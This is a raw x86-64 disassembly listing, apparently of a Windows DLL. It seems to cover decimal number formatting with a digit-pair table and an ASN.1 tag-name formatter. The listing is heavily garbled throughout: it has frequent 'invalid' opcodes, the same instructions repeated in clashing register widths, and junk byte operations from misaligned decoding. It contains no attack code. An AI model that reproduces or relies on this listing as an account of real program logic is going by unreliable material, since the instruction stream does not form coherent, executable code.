lea r10, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
push rax
add al, 0
add byte [rcx - 0x7f], al
cmp r8d, 0x2710
clc
adc byte [rdi], ah
add byte [rax], al
jb case.0x1800085b2.275
invalid
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
pop r9
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
xor al, 0x66
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
pop r9
xchg byte [rax], bh
invalid
cmp dh, dl
invalid
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
mul r11
shr rdx, 0xb
shr edx, 0xb
jrcxz 0x18002c5df
shr edx, 0xb
imul eax, edx, 0x2710
mov edi, r8d
sub edi, eax
imul ebx, edi, 0x147b
jnp 0x18002c5bd
add byte [rax], al
shr ebx, 0x13
imul eax, ebx, 0x64
ret
sub edi, eax
adc ebp, dword [rbx - 0x3d]
sub edi, eax
ret
movzx edi, di
lea rax, [rsi - 4]
lea eax, [rsi - 4]
movzx ebx, word [r10 + rbx*2]
sbb al, 0x5a
mov word [rbp + rsi - 0x23], bx
movzx edi, word [r10 + rdi*2]
cmp al, 0x7a
cmp al, 0x7a
mov word [rbp + rsi - 0x21], di
mov rsi, rax
jl 0x18002c602
fisttp word [rax - 0x77]
invalid
cmp r8, 0x5f5e0ff
mov r8, rdx
ja 0x18002c590
add eax, 0x77d08949
mov bl, 0x48
cmp edx, 0x63
cmp rdx, 0x63
cli
invalid
jbe case.0x1800085b2.266
movzx r8d, dx
mov bh, 0xc2
shr r8d, 2
imul r8d, r8d, 0x147b
sar byte [rbx + 0x14], 0
add byte [rcx - 0x3f], al
call 0x1586e0b0a
imul ebx, eax, 0x64
adc dword [rbp + 0x6b], eax
fsub dword [rsp + rax*2 + 0x29]
fimul dword [rdi]
movzx edx, dx
imul ebx, eax, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r10 + rdx*2]
movzx edx, word [rdx + rdx*2]
mov bh, 0x14
push rdx
mov word [rbp + rax - 0x21], dx
push rsp
add eax, 0xc08348df
invalid
invalid
invalid
add rax, 0xfffffffffffffffe
mov rdx, r8
invalid
dec byte [rcx + rcx*4 - 0x3e]
ret 0x8348
cmp rdx, 0xa
cli
or dh, byte [rbx + 0x17]
jae 0x18002c62e
invalid
or dl, 0x30
xor byte [rax + 0x48e00554], cl
mov byte [rbp + rax - 0x20], dl
dec rax
dec eax
add eax, 0xc8ff48e0
loopne 0x18002c667
dec eax
enter 0x19eb, 0x4c
mov edx, eax
invalid
jmp case.0x1800085b2.271
sbb dword [rcx + rcx*4 - 0x3e], ecx
mov rdx, r8
ret 0x8348
cmp rdx, 0x63
ja case.0x180006b46.377
cli
invalid
jmp case.0x1800085b2.266
jrcxz 0x18002c670
movzx edx, word [r10 + rdx*2]
movzx edx, word [rdx + rdx*2]
push rdx
mov word [rbp + rax - 0x21], dx
push rsp
add eax, 0xc08348df
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
inc byte [rbp - 0x7b]
leave
test r9d, r9d
test ecx, ecx
setns dl
lea r8, [rax + rbp]
lea eax, [rax + rbp]
sub byte [rcx - 0x7d], cl
shl cl, 0x41
loope 0x18002c68c
add r8, 0xffffffffffffffe1
mov r9d, 0x27
mov ecx, 0x27
loope 0x18002c68c
mov ecx, 0x27
invalid
add byte [rcx + 0x29], cl
sub r9, rax
mov qword [rsp + 0x28], r9
mov dword [rsp + 0x28], ecx
ror dword [rcx + rcx*4 + 0x4c], 0x24
sub byte [rcx + rcx*4 + 0x44], cl
invalid
invalid
mov dword [rsp + 0x28], ecx
and al, 0x28
mov qword [rsp + 0x20], r8
and al, 0x20
lea r8, [0x180081690]
add byte [rbp + 0x31], al
leave
xor r9d, r9d
call fcn.180020560
nop
add rsp, 0x58
invalid
pop rax
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
lea ebp, [rsp + 0x20]
mov eax, ecx
shl eax, 0xb
enter 0xffffffffffffe0c1, 0xb
mov r9d, 0x23
xor r8d, r8d
add byte [rax], al
add byte [rbp + 0x31], al
ror byte [rax - 0x73], 0x15
add byte [rbp - 0x45befffc], 0x23
xor eax, eax
lea rdx, [0x180074c20]
mov r10d, 0x23
add byte [rax], al
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x2f], cl
jmp 0x1c6c3c804
shr r9, 1
add r9, r8
mov r11d, dword [rdx + r9*4]
shl r11d, 0xb
shl ebx, 0xb
shl ebx, 0xb
cmp r11d, eax
je case.0x180066c72.202
lea rsi, [r9 + 1]
cmp r11d, eax
ret
cmova r10, r9
cmovb r8, rsi
invalid
mov r9, r10
sub r9, r8
ja 0x18002c6b0
invalid
ret
invalid
invalid
jmp 0x18002c6e2
inc r9
mov r8, r9
enter 0xffffffffffff8349, 0xfffffffffffffff8
and cl, byte [rdi]
ja case.0x18001e8df.186
invalid
cmp r8, 0x22
ja case.0x18001e8df.186
mov eax, dword [rdx + r8*4]
mov eax, dword [rdx + rax*4]
invalid
shr eax, 0x15
call 0x1ebbc080b
mov r9d, 0x36b
add eax, dword [rax]
add byte [rcx - 0x7d], cl
invalid
invalid
clc
cmp r8, 0x22
cmp eax, 0x22
and dh, byte [rsp + rdx + 0x4e]
lea edx, [rdx + rax*4]
adc al, 0x82
je 0x18002c713
lea r10, [rdx + r8*4]
adc al, 0x82
invalid
add r10, 4
add edx, 4
ret 0x4d04
test r10, r10
test edx, edx
sal byte [rdi + rax + 0x45], cl
mov ecx, dword [rdx]
invalid
je 0x18002c713
invalid
mov r9d, dword [r10]
or al, byte [rcx - 0x3f]
shr r9d, 0x15
jmp 0x14088142b
test r8, r8
test eax, eax
sal byte [rbp + rcx + 0x41], 0xba
invalid
je case.0x18000b818.229
or eax, 0xffffba41
invalid
mov r10d, 0x1fffff
mov edx, 0x1fffff
call [rdi]
add byte [rsi + 0x23], al
invalid
invalid
push rsp
and r10d, dword [rdx + r8*4 - 4]
and edx, dword [rdx + rax*4 - 4]
invalid
cld
jmp case.0x18000b818.221
add eax, dword [rbp + 0x31]
xor r10d, r10d
ror byte [rax - 0x77], cl
mov rdx, rax
mov edx, eax
ret 0xf748
not rdx
ror byte [rcx + rax - 0x36], cl
add rdx, r9
add edx, ecx
retf 0x4274
je case.0x18001a336.227
sub ecx, r10d
dec r9
xor edx, edx
lea r10, [0x180074cac]
lea edx, [0x180074cac]
lea edx, [0x180074cac]
test dword [rax + rax], eax
add al, 0
add byte [rcx - 0x77], cl
shl byte [rsi + 0x66], 0x2e
nop dword cs:[rax + rax]
mov r8, rax
mov eax, eax
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7f], cl
cmp r8, 0x36a
clc
push 3
add byte [rax], al
add byte [rdi + 0x25], dh
ja case.0x18001a336.194
and eax, 0x1cb60f47
movzx r11d, byte [r8 + r10]
mov dh, 0x1c
sbb al, 0x10
adc byte [rcx + rax - 0x26], al
add edx, r11d
add edx, ebx
cmp edx, ecx
ja case.0x18001e8df.191
invalid
retf 0xd77
or eax, 0x4dc0ff49
inc r8
ror byte [rbp + 0x39], 0xc1
cmp r9, r8
cmp ecx, eax
sal dword [rbp - 0x1d], 0x4c
jne case.0x18000b84e.211
jrcxz 0x18002c7ba
mov rax, r9
mov eax, ecx
enter 0x3eb, 0x4c
mov eax, eax
invalid
jmp case.0x18001a336.227
add ecx, dword [rcx + rcx*4 - 0x40]
mov rax, r8
shl byte [rcx + rax], 0x48
and al, 1
add rsp, 0x28
add esp, 0x28
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
cmp rax, 0x36c
cmp eax, 0x36c
insb byte [rdi], dx
add eax, dword [rax]
add byte [rcx + 0x36b], bh
mov ecx, 0x36b
mov ecx, 0x36b
imul eax, dword [rbx], 0
add byte [rax + 0xf], cl
invalid
add byte [rax], al
cmovae rcx, rax
cmovae ecx, eax
enter 0xffffffffffff8d4c, 5
lea r8, [0x1800721c0]
lea eax, [0x1800721c0]
add eax, 0x45a2c
sub al, 0x5a
pop rdx
add al, 0
mov edx, 0x36b
imul eax, dword [rbx], 0
add byte [rax], al
add al, ch
call fcn.1800697a0
add dl, al
rol byte [rbx], 1
add eax, dword [rax]
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1800721a8]
mov ecx, 0x23
add byte [rax], al
invalid
add ebx, dword [rdx + 4]
add byte [rcx + 0x23], bh
add byte [rax], al
add byte [rdx + 0x23], bh
mov edx, 0x23
add byte [rax], al
mov edx, 0x23
and eax, dword [rax]
add byte [rax], al
add al, ch
in al, dx
iretd
add byte [rax], al
call fcn.1800697a0
int3
int3
int3
int3
int3
int3
int3
sub esp, 0x28
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
lea rbp, [rsp + 0x20]
mov eax, ecx
shl eax, 0xb
mov r8d, 0x16
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0x31], al
xor ecx, ecx
xor r9d, r9d
xor ecx, ecx
lea rdx, [0x180075018]
adc eax, 0x48838
mov byte [rax + rax], al
mov r10d, 0x16
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x2f], cl
call 0x1c6cac944
add r8, r9
mov r11d, dword [rdx + r8*4]
shr r8, 1
add r8, r9
mov r11d, dword [rdx + r8*4]
enter 0xffffffffffff8b46, 0x1c
invalid
shl r11d, 0xb
shl ebx, 0xb
cmp r11d, eax
je 0x18002c81c
lea rsi, [r8 + 1]
cmp r11d, eax
cmova r10, r8
ror byte [rdi + rcx + 0x42], 1
invalid
mov r8, r10
mov eax, edx
ror byte [rdi + rcx + 0x42], 1
invalid
mov eax, edx
sub r8, r9
ja 0x18002c7f0
jmp 0x18002c822
invalid
inc r8
inc eax
mov r9, r8
mov ecx, eax
ror dword [rcx - 0x7d], 0xf9
adc eax, 0xb2870f
ja 0x18002c8de
cmp r9, 0x15
cmp ecx, 0x15
ja 0x18002c8de
add byte [rax], al
add byte [rdx - 0x75], al
add al, 0x8a
invalid
mov eax, dword [rdx + r9*4]
mov eax, dword [rdx + rcx*4]
mov al, cl
shr eax, 0x15
call 0x1bbbb094b
adc eax, 0x13bb841
mov r8d, 0x13b
cmp eax, dword [rcx]
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x7d], cl
cmp r9, 0x15
je 0x18002c853
invalid
stc
adc eax, 0x8d4e1474
adc al, 0x4e
lea edx, [rdx + rcx*4]
adc al, 0x8a
lea r10, [rdx + r9*4]
adc al, 0x8a
mov cl, byte [rcx - 0x7d]
add r10, 4
add edx, 4
ret 0x4d04
test r10, r10
test edx, edx
sal byte [rdi + rax + 0x45], cl
mov eax, dword [rdx]
je 0x18002c853
invalid
mov r8d, dword [r10]
add al, byte [rcx - 0x3f]
shr r8d, 0x15
shr eax, 0x15
call 0x14988156b
adc eax, 0x74c9854d
test r9, r9
test ecx, ecx
leave
je 0x18002c865
or eax, 0xffffba41
invalid
mov r10d, 0x1fffff
mov edx, 0x1fffff
call [rdi]
add byte [rsi + 0x23], al
invalid
invalid
and r10d, dword [rdx + r9*4 - 4]
and edx, dword [rdx + rcx*4 - 4]
push rsp
mov bh, ah
cld
jmp 0x18002c868
xor r10d, r10d
mov rdx, rax
not rdx
add rdx, r8
add edx, eax
ret 0x4274
je case.0x18001e8df.220
sub ecx, r10d
dec r8
dec eax
dec eax
xor edx, edx
lea r10, [0x180075070]
out dx, al
xchg dword [rax + rax], eax
out dx, al
xchg dword [rax + rax], eax
add al, 0
mov r9, rax
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7f], cl
stc
cmp al, byte [rcx]
cmp r9, 0x13a
add byte [rax], al
ja 0x18002c8be
movzx r11d, byte [r9 + r10]
sbb al, 0x11
add edx, r11d
cmp edx, ecx
ja 0x18002c8b2
inc r9
cmp r8, r9
invalid
ror dword [rbp + 0x39], 0xc8
enter 0xffffffffffffe375, 0x4c
mov eax, eax
invalid
jne 0x18002c890
mov rax, r8
shr bl, 3
jmp case.0x18001e8df.220
mov rax, r9
mov eax, ecx
and al, 1
add rsp, 0x28
sub byte [rsi + 0x5d], bl
sub byte [rsi + 0x5d], bl
ret
cmp rax, 0x13c
cmp eax, 0x13c
add byte [rcx + 0x13b], bh
mov ecx, 0x13b
add byte [rax], al
cmovae rcx, rax
lea r8, [0x1800721c0]
add byte [rdx + 0x13b], bh
add byte [rdx + 0x13b], bh
add byte [rax], al
call fcn.1800697a0
lea r8, [0x1800721a8]
mov edx, 0x16
mov rcx, r9
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
call fcn.1800697a0
int3
int3
int3
and byte [rcx + 0xbe0c1c8], cl
loopne 0x18002c91a
cmp eax, 0x88050000
jb 0x18002c92c
invalid
invalid
lea r8, [0x1800721a8]
pop rax
add al, 0
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, 1
add dword [rax], eax
add byte [rax], al
call fcn.1800697a0
add byte [rbx - 0x6df0df07], al
cmp ecx, 0x20
setb dl
ret 0xc183
invalid
cmp ecx, 0x21
setb al
ret 0xc183
rol dword [rcx + 0xf21f983], 0x92
ror byte [rax], 0xd0
or al, dl
or al, dl
ror byte [rax - 0x7d], 1
invalid
add rsp, 0x20
pop rbp
ret
push rsi
push rdi
sub rsp, 0xf8
sub esp, 0xf8
sub esp, 0xf8
add byte [rax - 0x77], cl
invalid
mov rsi, rdx
mov rax, qword [rcx]
lea rdi, [rsp + 0x30]
mov qword [rdi], rax
movzx edx, word [rax]
mov bh, 0x10
movzx ecx, byte [rax + 2]
shl ecx, 0x10
or ecx, edx
call fcn.18002ca26
add byte [rax], al
shr eax, 1
mov ebx, 0x48000000
add byte [rax], al
lea rcx, [rsp + 0x2f]
add byte [rax], al
lea rcx, [rsp + 0x2f]
mov byte [rcx], al
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rax], rcx
mov dword [rax], ecx
or byte [rax - 0x73], cl
or eax, 0xffffd1df
lea rcx, [0x180029b60]
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
mov qword [rax + 0x10], rdi
js 0x18002c999
lea rcx, [0x18002ca8f]
lea ecx, [0x18002ca8f]
mov qword [rax + 0x18], rcx
mov ecx, 2
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x88
add byte [rax], al
lea rdx, [rsp + 0x88]
lea edx, [rsp + 0x88]
add byte [rax - 0x77], cl
or cl, byte [rax - 0x7d]
invalid
mov qword [rdx], rcx
and qword [rdx + 0x10], 0
add byte [rax - 0x77], cl
sbb byte [rax - 0x7d], cl
invalid
and byte [rax], al
movabs r8, 0x800000020
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
sbb byte [rax - 0x7d], cl
invalid
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x42], cl
invalid
invalid
invalid
mov qword [rdx + 0x28], r8
mov r8b, 3
add eax, dword [rax + rcx*4 + 0x42]
xor byte [rax - 0x77], cl
invalid
invalid
sub byte [rcx - 0x50], al
sub byte [rcx - 0x50], al
add eax, dword [rax + rcx*4 + 0x42]
xor byte [rax - 0x77], cl
xor byte [rax - 0x77], cl
mov dword [rdx + 0x38], ecx
cmp byte [rax - 0x77], cl
mov qword [rdx + 0x48], rcx
mov dword [rdx + 0x48], ecx
mov qword [rdx + 0x50], rcx
mov qword [rdx + 0x50], rcx
mov qword [rdx + 0x50], rcx
push rax
push rax
mov qword [rdx + 0x58], 1
mov dword [rdx + 0x58], 1
pop rax
pop rax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rdx + 0x60], 0x20
mov dword [rdx + 0x60], 0x20
invalid
invalid
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rcx*4 + 0x42], al
push 0xffffffffea0d8d4c
invalid
invalid
invalid
invalid
mov byte [rdx + 0x68], r8b
mov byte [rdx + 0x68], al
push 0xffffffffea0d8d4c
lea r9, str.Tag_0x
lea ecx, [0x1800784d8]
or eax, 0x4baea
invalid
mov edx, 0x8d4c0004
add al, 0
add byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x58]
lea eax, [rsp + 0x58]
and al, 0x58
and al, 0x58
pop rax
mov qword [r8], r9
mov dword [rax], ecx
or byte [rcx - 0x39], cl
mov qword [r8 + 8], 3
mov dword [rax + 8], 3
or byte [rbx], al
or byte [rbx], al
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
mov qword [r8 + 0x20], rdx
mov dword [rax + 0x20], edx
push rax
and byte [rcx - 0x77], cl
mov qword [r8 + 0x28], rcx
mov qword [r8 + 0x10], rax
mov dword [rax + 0x10], eax
sub byte [rcx - 0x77], cl
sub byte [rcx - 0x77], cl
mov dword [rax + 0x10], eax
adc byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
mov qword [r8 + 0x18], rcx
mov dword [rax + 0x18], ecx
sbb byte [rax - 0x75], cl
sbb byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x28]
call fcn.1800635e4
leave
imul eax, dword [rbx], 0
push rsi
sub al, ch
leave
imul eax, dword [rbx], 0
add eax, dword [rax]
add byte [rax - 0x73b7eb8], dl
nop
add rsp, 0xf8
add esp, 0xf8
invalid
clc
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
mov dh, 0xc1
ror dword [rax - 0x73], 0x15
lea rdx, [0x18008268c]
lea edx, [0x18008268c]
adc eax, 0x55c5c
pop rsp
pop rsp
add eax, 0x4634800
add byte [rax + 0x63], cl
movsxd rax, dword [rdx + rax*4]
invalid
add al, 0x82
invalid
add rax, rdx
add eax, edx
jmp rax
loopne case.0x18002ac81.29
mov al, 1
add ebx, eax
ret
mov al, 0x17
invalid
ret
mov al, 0x15
adc eax, 0xc312b0c3
ret
mov al, 0x12
adc al, bl
ret
mov al, 5
ret
mov al, 0x13
adc eax, ebx
ret
mov al, 0x30
xor bl, al
ret
mov al, 3
ret
mov al, 0x16
ret
mov al, 4
ret
add al, 0xc3
mov al, 0xa
ret
mov al, 2
add al, bl
ret
mov al, 0x18
ret
sbb bl, al
mov dl, 0x40
jmp case.0x18002c22f.23
invalid
jmp case.0x18002c22f.23
sbb byte [rax - 0x7f4d3cfa], dh
mov al, 6
ret
invalid
mov dl, 0x80
jmp case.0x18002c22f.23
adc dword [rax + 0x9b0c314], esi
mov al, 0x14
adc al, 0xc3
ret
mov al, 9
ret
mov al, 0x1a
ret
mov al, 0x31
ret
mov al, 0xc
ret
or al, 0xc3
mov dl, 0xc0
ror byte [rcx + 0x8e8c1c8], 0xc1
mov eax, ecx
shr eax, 8
enter 0xffffffffffffe8c1, 8
shr ecx, 0xb
and cl, 0x20
or al, dl
jmp 0x1a0e44a92
or eax, dword [rax - 0x2ff7df1f]
or al, cl
enter 0xffffffffffffb0c3, 0x1e
ret
mov al, 0x1e
ret
in al, dx
js 0x18002cadc
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
movzx ecx, byte [rax]
lea r8, [0x1800826e8]
lea eax, [0x1800826e8]
add eax, 0x55c48
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
invalid
mov byte [rcx + rax - 0x3f], cl
jmp rcx
loope 0x18002caf2
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.BOOLEANINTEGERBIT_STRINGOCTET_STRINGNULLOBJECT_IDENTIFIERREALENUMERATEDUTF8StringSEQUENCESETNumericStringPrintableStringTeletexStringVideotexStringIA5StringUTCTimeGeneralizedTimeVisibleStringBMPStringAPPLICATION______a
invalid
add al, 0
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x4b84c
invalid
add al, 0
invalid
movabs rax, 0x4800000115e90004
mov eax, 0x15e90004
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
add cl, ch
adc eax, 0x48000001
invalid
jmp 0x18002cbd6
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1800783a4]
adc eax, 0x4b8d0
sbb byte [rax - 0x73], cl
adc eax, 0x4b8d0
mov eax, 0xfde90004
add cl, ch
std
jmp 0x18002cbd6
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x18007838d]
adc eax, 0x4b8a1
sbb byte [rax - 0x73], cl
adc eax, 0x4b8a1
mov eax, 0xb8410004
add al, 0
add byte [rcx - 0x48], al
mov r8d, 0xe
invalid
add byte [rax], al
add cl, ch
fld dword [rdx]
add byte [rax], al
invalid
jmp 0x18002cdd0
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x180078364]
adc eax, 0x4b85a
mov eax, 0xe8e90004
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
add al, 0
add cl, ch
call 0x1c802cb11
mov rcx, qword [rdx + 0x20]
jmp 0x18002ccf7
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x4b80a
invalid
invalid
add al, 0
invalid
lea rdx, [0x18007832c]
or bh, byte [rax - 0x4d16fffc]
mov eax, 0xb2e90004
add cl, ch
jmp 0x18002ccd9
mov dl, 1
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x180078371]
adc eax, 0x4b837
mov eax, 0xb5e90004
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
add cl, ch
mov ch, 0
add byte [rax], al
jmp 0x18002cbf4
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4b807
invalid
add al, 0
mov rax, qword [rax + 0x18]
lea rdx, [0x180078359]
invalid
add al, 0
mov eax, 0xb8410004
mov r8d, 8
mov eax, 8
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jae case.0x18002caa7.2
jmp 0x18002cdd0
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x180078316]
mov bh, 4
invalid
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4b7a6
mov bh, 4
add cl, ch
mov esi, 0x48000001
add byte [rax], al
invalid
jmp 0x18002cd33
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18007839b]
adc eax, 0x4b813
adc eax, 0x4b813
mov eax, 0x3de90004
add al, 0
jmp 0x18002cdca
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov eax, dword [rax + 0x18]
lea rdx, [0x180078320]
adc eax, 0x4b780
mov bh, 4
add byte [rcx - 0x48], al
mov eax, 0xc
mov r8d, 0xc
mov eax, 0xc
add byte [rax], al
add cl, ch
and eax, 0x48000002
invalid
jmp 0x18002cdd0
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x180078345]
mov bh, 4
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4b787
mov bh, 4
invalid
mov bh, 4
add al, 0
add cl, ch
jo 0x18002cbc2
jmp 0x18002cd33
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x18007830f]
adc eax, 0x4b739
add byte [rcx - 0x48], al
invalid
mov r8d, 7
mov eax, 7
add cl, ch
jmp 0x18002cdd0
out dx, eax
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1800783ab]
adc eax, 0x4b7b7
add al, 0
mov r8d, 0xf
mov eax, 0xf
jmp 0x18002cdd0
rol dword [rcx], 1
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
invalid
mov dh, 0x48
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x27
invalid
add cl, byte [rdx - 0x72b3fec0]
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x27
invalid
and al, 0x27
invalid
mov byte [r8], al
shl ecx, 4
lea rax, str.primitiveconstructed
invalid
add al, 0
mov eax, 0x1480004
add rax, rcx
lea rcx, [rsp + 0x28]
enter 0xffffffffffff8d48, 0x4c
and al, 0x28
mov qword [rcx], r8
lea r8, [0x18002cdd7]
add eax, 0x1ad
add eax, 0x1ad
lodsd eax, dword [rsi]
add dword [rax], eax
add byte [rax], al
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
lea rax, [fcn.18005f53d]
add al, 0x29
add eax, dword [rax]
add byte [rax], al
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
lea rax, [fcn.18005f53d]
add al, 0x29
add eax, dword [rax]
add al, 0x29
sub dword [rbx], eax
add eax, dword [rax]
add byte [rax - 0x77], cl
sbb byte [r8 - 0x73], cl
add eax, 0x4b79c
mov qword [rcx + 0x18], rax
mov dword [rcx + 0x18], eax
lea rax, [0x1800783e0]
jmp 0x18002cd83
cmp al, byte [rcx]
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x180078330]
lea edx, [0x180078330]
adc eax, 0x4b6d4
invalid
add al, 0
mov r8d, 0x11
jmp 0x18002cdd0
add dword [rax], eax
add byte [rdi], cl
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
lea r8, [rsp + 0x27]
invalid
mov dh, 0x48
add cl, byte [rdx - 0x72b3fec0]
and al, 0x27
invalid
invalid
mov byte [r8], al
mov byte [rax], al
shl ecx, 4
lea rax, str.primitiveconstructed
lea eax, [0x180078428]
add al, 0x48
lea eax, [0x180078428]
add rax, rcx
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
enter 0xffffffffffff8d48, 0x4c
lea ecx, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rcx], r8
mov dword [rcx], eax
lea r8, [0x18002cdd7]
mov qword [rcx + 8], r8
or byte [r8 - 0x77], cl
or byte [rax - 0x77], cl
mov qword [rcx + 0x10], rax
lea rax, [fcn.18005f53d]
